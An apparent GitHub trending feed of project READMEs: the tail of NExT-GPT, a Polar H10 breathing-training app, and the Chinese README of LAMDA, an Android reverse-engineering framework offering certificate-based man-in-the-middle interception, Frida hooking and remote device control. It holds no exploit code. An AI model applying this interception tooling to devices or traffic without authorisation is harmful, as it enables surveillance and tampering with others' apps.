../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data">[./data/IT_data/T+X-T_data]</a> or data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data">[./data/IT_data/T+X-T_data]</a> or data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/MosIT_data">[./data/IT_data/MosIT_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_3.yaml">[./code/config/stage_3.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_3.yaml">[./code/dsconfig/stage_3.yaml]</a> for more step-wise configurations.</p> </li> </ul> <span id="Run NExT-GPT System"></span> <h2>4. Running NExT-GPT System <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h2> <span id="Prepare checkpoints"></span> <h4>4.1. Preparing Checkpoints</h4> <p>First, loading the pre-trained NExT-GPT system.</p> <ul> <li> <p><strong>Step-1</strong>: load <code>Frozen parameters</code>. Please refer to <a href="#Prepare Pre-trained Checkpoint">3.1 Preparing Pre-trained Checkpoint</a>.</p> </li> <li> <p><strong>Step-2</strong>: load <code>Tunable parameters</code>. Please put the NExT-GPT system in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/delta_ckpt/nextgpt/7b_tiva_v0">[./ckpt/delta_ckpt/nextgpt/7b_tiva_v0]</a>. You may either 1) use the params trained yourselves, or 2) download our checkpoints from <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#">here</a>. (<em>We are still working hard on optimizing the system, and will release the params shortly.</em>)</p> </li> </ul> <span id="Deploy Demo System"></span> <h4>4.2. Deploying Gradio Demo</h4> <p>Upon completion of the checkpoint loading, you can run the demo locally via:</p> <pre><code class="language-angular2html">cd ./code bash scripts/app.sh </code></pre> <p>Specifying the key arguments as:</p> <ul> <li><code>--nextgpt_ckpt_path</code>: the path of pre-trained NExT-GPT params.</li> </ul> <hr> <h2>Contact</h2> <p>For any questions or feedback, feel free to contact <a href="mailto:swu@u.nus.edu">Shengqiong Wu</a> and <a href="mailto:haofei37@nus.edu.sg">Hao Fei</a>.</p> <h2>Citation</h2> <p>If you find NextGPT useful in your research or applications, please kindly cite:</p> <pre><code>@articles{wu2023nextgpt, title={NExT-GPT: Any-to-Any Multimodal LLM}, author={Shengqiong Wu and Hao Fei and Leigang Qu and Wei Ji and Tat-Seng Chua}, journal = {CoRR}, volume = {abs/2309.05519}, year={2023} } </code></pre> <h2>Acknowledgements</h2> <p>You may refer to related work that serves as foundations for our framework and code repository, <a href="https://github.com/lm-sys/FastChat">Vicuna</a>, <a href="https://github.com/facebookresearch/ImageBind">ImageBind</a>, <a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/text2img">Stable Diffusion</a>, <a href="https://github.com/haoheliu/AudioLDM">AudioLDM</a>, and <a href="https://huggingface.co/cerspense/zeroscope_v2_576w">Zeroscope</a>. We also partially draw inspirations from <a href="https://github.com/yxuansu/PandaGPT">PandaGPT</a>, <a href="https://vpgtrans.github.io/">VPGTrans</a>, <a href="https://github.com/kohjingyu/gill/">GILL</a>, <a href="https://codi-gen.github.io/">CoDi</a>, <a href="https://github.com/DAMO-NLP-SG/Video-LLaMA">Video-LLaMA</a>, and <a href="https://github.com/Vision-CAIR/MiniGPT-4">MiniGPT-4</a>. Thanks for their wonderful works.</p> <h2>License Notices</h2> <p>This repository is under <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/LICENSE.txt">BSD 3-Clause License</a>. NExT-GPT is a research project intended for non-commercial use only. One must NOT use the code of NExT-GPT for any illegal, harmful, violent, racist, or sexual purposes. One is strictly prohibited from engaging in any activity that will potentially violate these guidelines. Any potential commercial use of this code should be approved by the authors.</p> - kbre93/every-breath-you-take - 2023-09-19T01:37:14Z - tag:github.com,2023-09-19:/kbre93/every-breath-you-take - - <p>Heart Rate Variability Training with the Polar H10 Monitor</p><hr><h1>Every Breath You Take – Heart Rate Variability Training with the Polar H10 Monitor</h1> <p>Through controlled breathing it is possible to regulate your body's stress reponse. This application allows you to measure and train this effect with a Polar H10 Heart Rate monitor.</p> <p>Heart rate variability, the small changes in heart rate from beat-to-beat, is a reliable measure of stress response. Heart rate variability reflects the balance between the two sides of the autonomic nervous system: the fight-or-flight response (from the sympathetic nervous system) and the rest-and-digest response (from the parasympathetic nervous system).</p> <p>In any moment it is possible to restore balance to the autonomic nervous system by breathing slower and deeper. With every breath you take, you can set the pace of your breathing rate, measure your breathing control with the chest accelerometer, and see how heart rate variability responds.</p> <p><img src="https://raw.githubusercontent.com/kbre93/every-breath-you-take/master/img/screen_record.gif" alt=""></p> <h2>Features</h2> <ul> <li>Connect and stream from a Polar H10, acceleration and heart rate data</li> <li>Live breathing control feedback and adjustable pace setting</li> <li>Track breathing and heart rate oscillations in real-time</li> <li>Explore how heart rate vairability repsonses to different breathing rates</li> </ul> <h2>Installation and usage</h2> <pre><code>python -m venv venv source venv/bin/activate # On Windows, use `my_project_env\Scripts\activate` pip install -r requirements.txt python EBYT.py </code></pre> <p>The program will automatically connect to your Polar device. For best breathing detection, ensure the Polar H10 is fitted around the widest part of the ribcage, stay seated and still while recording.</p> <p>Set the breathing pace with the slider (in breaths per minute), and follow the cadence as the gold circle expands and contracts. The blue circle shows your breathing control.</p> <p>Track each breath cycle in the top graph, and how heart rate oscillates in repsonse.</p> <p>Adjust breathing pace and control to target the green zone of heart rate variability in the bottom graph (&gt; 150 ms).</p> <h2>Contributing</h2> <p>Feedback, bug reports, and pull requests are welcome. Feel free to submit an issue or create a pull request on GitHub.</p> + rev1si0n/lamda + 2023-09-20T01:38:37Z + tag:github.com,2023-09-20:/rev1si0n/lamda + + <p>⚡️ Android reverse engineering & automation framework | 史上最强安卓抓包/逆向/HOOK & 云手机/远程桌面/自动化辅助框架,你的工作从未如此简单快捷。</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/logo.svg?sanitize=true" alt="LAMDA" width="256"> </p> <p align="center">Android reverse engineering &amp; automation framework</p> <p>LAMDA 是一个用于逆向及自动化的辅助框架,它设计为减少安全分析以及应用测试人员的时间及琐碎问题,以编程化的接口替代大量手动操作,它并不是一个单一功能的框架。为了让你大概了解它的用处:你是否会在手机上安装各类代理、插件或者点来点去的设置来完成你的工作?你是否要在异地操作远在千里之外的手机?你是否有编程控制手机的需求?是否还在某些云手机厂商那里购买昂贵的<strong>IP切换</strong>、<strong>远程ADB调试</strong>、<strong>RPA自动化</strong>甚至连 <strong>logcat 日志</strong>都要付费的服务?如果有,那么对了,只需一个 LAMDA 即可解决这些问题。并且,LAMDA 更注重<strong>分布式</strong>,事实上,你可以在一台公网服务器上管理散布在世界各地各种网络环境中的设备。当然,LAMDA 可以做到的不止于此。</p> <ul> <li>零依赖,只需 <strong>root</strong> 即可</li> <li>前身通过超500台设备压力的稳定生产环境考验</li> <li>可通过扩展模块使用完整的安卓内 Debian (12, bookworm) 环境</li> <li>通过接口轻松设置根证书,配合 http/socks5 代理实现中间人</li> <li>通过 frida 暴露内部 Java 接口(类 <a href="https://github.com/virjar/sekiro">virjar/sekiro</a> 但基于 frida)</li> <li>近乎商业级软件的质量和稳定性,ARM/X86全架构</li> <li>较高的安全性,支持接口及登录认证</li> <li>将你的设备变为移动网络代理</li> <li>部分兼容 uiautomator2</li> <li>设备状态/资源消耗读取</li> <li>系统配置/属性读取修改</li> <li>界面布局检视</li> <li>无线连接内置 root 权限的 WIFI ADB</li> <li>支持自定义启动配置</li> <li>支持模拟器及真机、云手机/无头开发板、Redroid</li> <li>支持安卓 6.0 (M, API 23) - 13 (T, API 33)</li> <li>支持 WSA (Windows Subsystem for Android™️)</li> <li>支持 UDP 协议代理(socks5 UDP 模式)</li> <li>支持 OpenVPN 与代理共存</li> <li>支持 Magisk 开机自启动</li> <li>封装了大量常用接口,只需要会写 Python</li> <li>完全网络化,脱离 USB 数据线/USB 集线器等实体</li> <li>大文件上传下载</li> <li>大大降低门槛以及闲杂琐事上的时间成本</li> <li>获取/重放系统中最近的 Activity</li> <li>唤起应用的 Activity</li> <li>可使用 ssh 登录设备终端</li> <li>只要有网即可连接任意地方运行了 LAMDA 的设备</li> <li>前后台运行 shell 命令,授予撤销应用权限等</li> <li>内置 Storage 用于存储设备变量</li> <li>内置 http/socks5 代理,可设置系统/指定应用的代理</li> <li>内置 frida 15.x, IDA 7.5 server 等工具</li> <li>内置 crontab 定时任务</li> <li>内置 Python3.9 及部分常用模块</li> <li>内置 OpenVPN 可实现全局/非全局的 VPN</li> <li>WIFI 远程桌面(web)</li> <li>WEB 端文件上传下载</li> <li>UI自动化,通过接口实现自动化操作</li> </ul> <p>如果觉得以下教程过于复杂看不懂,可以选择观看 <a href="https://lamda.run/tutorial/video">视频教程</a>。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/demo.gif" alt="动图演示"></p> <h2>一键中间人流量分析</h2> <p>支持常规以及国际APP流量分析,DNS流量分析,得益于 <a href="https://docs.mitmproxy.org/stable/api/events.html">mitmproxy flow hook</a>,你可以对任何请求做到最大限度的掌控,mitmproxy 功能足够丰富,你可以使用 Python 脚本实时修改或者捕获应用的请求,也可以通过其 <code>Export</code> 选项导出特定请求的 <code>curl</code> 命令或者 <code>HTTPie</code> 命令,分析重放、拦截修改、功能组合足以替代你用过的任何此类商业/非商业软件。如果你仍不清楚 mitmproxy 是什么以及其具有的能力,请务必先查找相关文档,因为 LAMDA 将会使用 mitmproxy 为你展现应用请求。</p> <p>通过 tools/ 目录下的 <code>globalmitm</code>,<code>startmitm.py</code> 实现,使用方法请看其同目录 README。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/mitm.gif" alt="中间人流量分析动图演示"></p> <h2>拖拽上传</h2> <p>可直接在远程桌面拖拽上传,支持上传整个目录,最大支持单个 256MB 的文件,文件将始终被上传到 <code>/data/usr/uploads</code> 目录下。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/upload.gif" alt="拖拽上传动图演示"></p> <h2>远程桌面连接</h2> <p>即使手机不在身边也可以使用浏览器随时操作界面,并且内置了 Python 以及相关 frida 工具,是你的另一个在线 shell。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/lamda.gif" alt="远程桌面动图演示"></p> <h2>通过代码自动化</h2> <p>直接通过代码点点点,可以替代大部分手动操作。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/automation.gif" alt="自动化动图演示"></p> <h2>界面布局检视</h2> <p>可在远程桌面即时检视安卓应用的界面布局用以编写自动化代码,点击远程桌面右上角的眼睛图标即可进入模式, 按下 <code>CTRL + R</code> 刷新布局,再次点击眼睛图标退出。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/inspect.gif" alt="界面布局检视"></p> <h2>设备目录索引</h2> <p>你可以在浏览器浏览设备上的文件,同时你也可以点击文件名来下载所需的文件。</p> <p><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/listing.gif" alt="目录索引动图演示"></p> <p>如果你希望继续看下去,请确保:有一台已经 root 且运行内存大于 2GB,可用存储空间大于 1GB 的安卓设备或者安卓模拟器(推荐使用最新版<strong>夜神</strong>,<strong>雷电</strong>模拟器,或者 AVD [Android Studio Virtual Device])。<strong>不完全支持</strong> 网易 Mumu,<strong>不支持</strong>腾讯手游助手、蓝叠以及安卓内虚拟如 VMOS 等),对于真机,推荐运行最接近原生系统的设备如谷歌系、一加、安卓开发板等,或系统仅经过轻度改造的设备。如果你使用的是OPPO/VIVO/华为/小米的设备,经过尝试后无法正常运行,建议改用模拟器。</p> <br> <h1>目录</h1> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%9B%AE%E5%BD%95">目录</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%85%8D%E8%B4%A3%E5%A3%B0%E6%98%8E%E5%8F%8A%E6%9D%A1%E6%AC%BE">免责声明及条款</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%89%8D%E8%A8%80">前言</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%AE%89%E8%A3%85-lamda">安装 LAMDA</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9">注意事项</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%9F%BA%E7%A1%80%E8%A6%81%E6%B1%82">基础要求</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%B3%BB%E7%BB%9F%E8%AE%BE%E7%BD%AE">系统设置</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%BD%91%E7%BB%9C%E8%AE%BE%E7%BD%AE">网络设置</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%85%B6%E4%BB%96%E8%AE%BE%E7%BD%AE">其他设置</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%AE%89%E8%A3%85%E5%AE%A2%E6%88%B7%E7%AB%AF">安装客户端</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%AE%89%E8%A3%85%E6%9C%8D%E5%8A%A1%E7%AB%AF">安装服务端</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E9%80%9A%E8%BF%87-magisk-%E5%AE%89%E8%A3%85">通过 Magisk 安装</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85">手动安装</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%90%AF%E5%8A%A8%E6%9C%8D%E5%8A%A1%E7%AB%AF">启动服务端</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E9%80%80%E5%87%BA%E6%9C%8D%E5%8A%A1%E7%AB%AF">退出服务端</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%8D%B8%E8%BD%BD%E6%9C%8D%E5%8A%A1%E7%AB%AF">卸载服务端</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%94%A8-lamda">使用 LAMDA</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2">远程桌面</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0">文件上传</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD">文件下载</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%A7%BB%E5%8A%A8%E4%BB%A3%E7%90%86">移动代理</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%87%AA%E5%AE%9A%E4%B9%89%E4%BB%A3%E7%90%86%E9%85%8D%E7%BD%AE">自定义代理配置</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%BF%9E%E6%8E%A5%E8%AE%BE%E5%A4%87">连接设备</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%85%88%E6%9D%A5%E4%B8%80%E4%B8%AA%E7%83%AD%E8%BA%AB">先来一个热身</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%AE%BE%E7%BD%AE%E7%B3%BB%E7%BB%9F%E4%BB%A3%E7%90%86">设置系统代理</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%AE%89%E8%A3%85%E4%B8%AD%E9%97%B4%E4%BA%BA%E8%AF%81%E4%B9%A6">安装中间人证书</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%AE%BE%E7%BD%AE-openvpn">设置 OpenVPN</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%BF%9E%E6%8E%A5%E5%86%85%E7%BD%AE%E7%9A%84-frida">连接内置的 FRIDA</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%94%A8-frida-%E6%9A%B4%E9%9C%B2-java-%E6%8E%A5%E5%8F%A3">使用 FRIDA 暴露 Java 接口</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%94%A8%E5%86%85%E7%BD%AE%E7%9A%84%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1">使用内置的定时任务</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF-lamda-%E5%8F%AF%E8%A2%AB%E4%BB%BB%E6%84%8F%E5%9C%B0%E7%82%B9%E8%BF%9E%E6%8E%A5">使 LAMDA 可被任意地点连接</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%AF%BB%E5%86%99%E5%86%85%E7%BD%AE%E9%94%AE%E5%80%BC%E5%AD%98%E5%82%A8%E5%99%A8">读写内置键值存储器</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%AF%BB%E5%86%99%E7%B3%BB%E7%BB%9F%E5%B1%9E%E6%80%A7">读写系统属性</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%AF%BB%E5%86%99%E7%B3%BB%E7%BB%9F%E8%AE%BE%E7%BD%AE">读写系统设置</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%8E%B7%E5%8F%96%E8%AE%BE%E5%A4%87%E8%BF%90%E8%A1%8C%E7%8A%B6%E6%80%81">获取设备运行状态</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%9C%A8%E8%AE%BE%E5%A4%87%E4%B8%8A%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4">在设备上执行命令</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%B3%BB%E7%BB%9F%E5%8F%AF%E8%B0%83%E8%AF%95">使系统可调试</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%90%AF%E5%8A%A8-ida-%E8%B0%83%E8%AF%95%E6%9C%8D%E5%8A%A1">启动 IDA 调试服务</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%97%A0%E7%BA%BF%E8%BF%9E%E6%8E%A5%E5%86%85%E7%BD%AE%E7%9A%84-wifi-adb">无线连接内置的 WIFI ADB</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C">文件操作</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%85%B3%E6%9C%BA%E9%87%8D%E5%90%AF">关机重启</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%BA%94%E7%94%A8%E6%93%8D%E4%BD%9C">应用操作</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#wifi%E6%93%8D%E4%BD%9C">WIFI操作</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%9F%BA%E6%9C%ACui%E6%93%8D%E4%BD%9C">基本UI操作</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E8%BF%9B%E9%98%B6ui%E6%93%8D%E4%BD%9C">进阶UI操作</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%8E%A5%E5%8F%A3%E9%94%81">接口锁</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%94%A8%E5%86%85%E7%BD%AE%E7%BB%88%E7%AB%AF">使用内置终端</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%BD%BF%E7%94%A8-debian-%E7%8E%AF%E5%A2%83%E6%89%A9%E5%B1%95%E6%A8%A1%E5%9D%97">使用 Debian 环境扩展模块</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%B7%A5%E5%85%B7%E5%8F%8A%E6%95%99%E7%A8%8B">工具及教程</a> <ul> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E4%B8%80%E9%94%AE%E4%B8%AD%E9%97%B4%E4%BA%BA">一键中间人</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%9B%BD%E9%99%85%E4%BB%A3%E7%90%86%E8%BF%9B%E8%A1%8C%E4%B8%AD%E9%97%B4%E4%BA%BA">国际代理进行中间人</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%AE%89%E8%A3%85-adb-%E5%85%AC%E9%92%A5">安装 ADB 公钥</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#openvpn-%E6%9C%8D%E5%8A%A1">OpenVPN 服务</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#socks5-%E6%9C%8D%E5%8A%A1">SOCKS5 服务</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E6%9C%8D%E5%8A%A1">端口转发服务</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E6%B3%A8%E5%85%A5-frida-rpc-%E8%84%9A%E6%9C%AC">注入 Frida RPC 脚本</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E7%94%9F%E6%88%90%E5%8A%A0%E5%AF%86%E8%BF%9E%E6%8E%A5%E8%AF%81%E4%B9%A6">生成加密连接证书</a></li> <li><a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/#%E5%88%97%E5%87%BA%E5%86%85%E7%BD%91%E8%AE%BE%E5%A4%87">列出内网设备</a></li> </ul> </li> </ul> <h1>免责声明及条款</h1> <p>为了下载使用由 rev1si0n (账号 github.com/rev1si0n)(以下简称“本人”)个人开发的软件 LAMDA ,您应当阅读并遵守《用户使用协议》(以下简称“本协议”)。请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受;除非您已阅读并接受本协议所有条款,否则您将无权下载、安装或使用本软件及相关服务。您的下载、安装、使用、获取账号、登录等行为即视为您已阅读并同意受到上述协议的约束;若您需要获得本服务,您(以下称"用户")应当同意本协议的全部条款并按照页面上的提示完成全部申请使用程序。您可以在本文档的相同目录找到 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/DISCLAIMER.TXT">DISCLAIMER.TXT</a>,或者点此 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/DISCLAIMER.TXT">免责声明</a> 查阅。此项目代码库中仅包含开源的客户端库、工具代码。因服务端程序以二进制方式发布,并未开源,所以除以上条款外:<strong>授权您对 LAMDA SERVER 本身进行以恶意代码分析为目的的逆向</strong>。</p> <p>请确认您已阅读并接受本协议所有条款,否则您将无权下载、安装或使用本软件及相关服务。</p> <h1>前言</h1> <p>LAMDA 是个人开发的免费软件 (freeware),目前仅客户端库及工具代码是开源的,个人承诺 LAMDA 不会对您及您的设备有任何违规或多余的行为,如果仍有担心,您可以<strong>立即离开</strong>或者选择<strong>付费</strong>寻求心理安慰。互相尊重,使用请遵守使用条款。为什么部分开源?因为 LAMDA 亦黑亦白,很容易被不法分子利用使作者或者不明所以的用户处于危险之中,所以请尊重条款使用。建议在 Linux 或者 Mac 系统上操作文档及样例中的代码。部分功能需要配合 <code>tools/</code> 目录下的工具实现,如何使用请参照 <a href="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/tools/README.md">tools/README.md</a>。</p> <p><strong>特别注意</strong>:<strong>请勿在自用设备上运行,当有可能在公网或不信任的网络中使用时,务必确保在启动时指定了PEM证书</strong></p> <blockquote> <p>使用后的副作用</p> </blockquote> <p>你可能会把 Python 代码中的 <code>lambda</code> 写成 lamda,这是正常现象。</p> <blockquote> <p>问题反馈及建议</p> </blockquote> <p>因为安卓被各种设备广泛使用,无法保证百分百的兼容性,可能会有运行异常等各种未知情况,出现的异常情况包括:无故重启,APP经常崩溃,触摸失效或无故乱动等等,冻屏等情况。如果经常遇到,建议停止使用。 点此 <a href="https://github.com/rev1si0n/lamda/issues/new">报告问题/建议</a>,请详细描述并附上机型系统等信息。</p> <p>社区讨论:<a href="https://t.me/lamda_dev">电报 t.me/lamda_dev</a></p> <blockquote> <p>顺便支持作者</p> </blockquote> <p>如果需要购入服务器,可以选择通过下方的<strong>推广链接</strong>购买云服务。</p> <p><a href="https://lamda.run/referral/aliyun"><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/logo-aliyun.png" alt="阿里云" height="40"></a> <a href="https://lamda.run/referral/tencent"><img src="https://raw.githubusercontent.com/rev1si0n/lamda/5.0/image/logo-tencent.svg?sanitize=true" alt="腾讯云" height="40"></a></p> <br> <h1>安装 LAMDA</h1> <blockquote> <p>分为客户端以及服务端,客户端主要是 Python 相关库及接口,服务端则是运行在设备/手机上的服务。</p> </blockquote> <h2>注意事项</h2> <h3>基础要求</h3> <p>LAMDA 最理想的运行环境是你刚刚 root(如:新建模拟器,自带权限的ROM,Magisk 刚 root),启动前<strong>务必确保</strong>:</p> <pre><code>* 必须关闭 Magisk Hide * 必须关闭 frida-server * 确认完毕重启设备 </code></pre> <p>并且不会在启动后启用任何上述任何标记为<code>必须</code>的条目。</p> <h3>系统设置</h3> <blockquote> <p>检查时区时间</p> </blockquote> <p>打开系统设置,找到日期与时间,检查是否已自动设置<strong>中国标准时间</strong>或者你所在地的时区,检查时间是否正确或在可接受的误差范围内,如果没有请关闭<strong>使用网络提供的时区</strong> 以及<strong>网络时间</strong>,并手动设置时区及时间为你当前所在地的时区及时间。</p> <blockquote> <p>关闭无障碍</p> </blockquote> <p>打开系统设置,找到无障碍(系统或更多设置中),关闭或卸载所有使用无障碍的应用(例如 talkback,autojs 等)。</p> <h3>网络设置</h3> <p>对于真机,你只需要确保电脑与手机在同一网络下即可。 对于模拟器,默认创建的模拟器正常情况下与你的本机网络并不互通,如果你使用的是 android x86 (基于 VMWare 的安卓虚拟机), 请尝试在虚拟机设置中将网络模式设置为桥接模式。对于雷电,夜神等模拟器,需要在其设置中根据提示安装驱动并开启桥接模式随后重启模拟器。 对于 Android Studio 的 Virtual Device,则没有相关设置,如果需要连接 AVD,请先执行 <code>adb forward tcp:65000 tcp:65000</code>, 并使用 <code>localhost</code> (不要使用 127.0.0.1)进行连接。</p> <h3>其他设置</h3> <blockquote> <p>WSA (Windows Subsystem Android)</p> </blockquote> <p>如果使用的是 WSA (Windows Subsystem Android),请确保 WSA 版本不低于 2210.40000 并且已 root。随后打开 WSA 设置 -&gt; Subsystem Resources -&gt; 选择 Continuous,关闭 Advanced Networking。随后重启 WSA 子系统即可。</p> <blockquote> <p>AVD (Android Studio Virtual Device)</p> </blockquote> <p>如果使用的是 AVD (Android Studio Virtual Device),请先使用如下方式扩展默认存储空间的大小。</p> <pre><code class="language-bash"># Pixel_5_API_29 为虚拟机ID,可以使用命令 emulator -list-avds 列出 # -partition-size 部分新建的 AVD 可用存储空间可能只有百兆,这里修改为 2G emulator -avd Pixel_5_API_29 -partition-size 2048 -no-snapshot-load # 随后每次启动虚拟机时都使用该命令 # # 可能会遇到找不到 emulator 命令的情况, # 请参阅此文档获知此命令的位置 https://developer.android.com/studio/run/emulator-commandline?hl=zh-cn 并将其加入 PATH 变量中 # # 如果你无法完成上面的命令,请手动点击 Android Studio 中的 Virtual Device Manager,新建一个虚拟机,随后找到对应虚拟机并点击后方的编辑按钮(一个笔的符号), # 点击 Show Advanced Settings,找到 Storage -&gt; Internal Storage 并将其设置为至少 2GB。 </code></pre> <blockquote> <p>Redroid (android in docker)</p> </blockquote> <p>注意目前 LAMDA <strong>3.0</strong>,<strong>5.0</strong> <strong>仅支持基于 ARM (aarch64) 宿主机</strong>的 Redroid,<strong>7.0</strong> 才支持 x86 版本的 Redroid,你可以通过命令 <code>uname -m</code> 来检查。</p> <p>如果使用的是 Redroid (android in docker),以官方建议的 <code>Ubuntu 20.04</code> 为例,首先安装 linux-modules-extra 相关模块,(注意下列方法可能不适合其他 Linux 发行版,如果你不熟悉 Linux,我们不太建议你继续下面的操作)。</p> <pre><code class="language-bash">apt install linux-modules-extra-`uname -r` </code></pre> <p>编辑文件 <code>/etc/modules</code>,将下列名称复制并插入文件底部,重启当前宿主机。</p> <pre><code class="language-bash"># redroid modules mac80211_hwsim binder_linux ashmem_linux </code></pre> <p><strong>或者</strong>每次宿主机重启后执行(注意如果不用上述的方法那么每次重启都要这么做)</p> <pre><code class="language-bash">modprobe mac80211_hwsim modprobe binder_linux 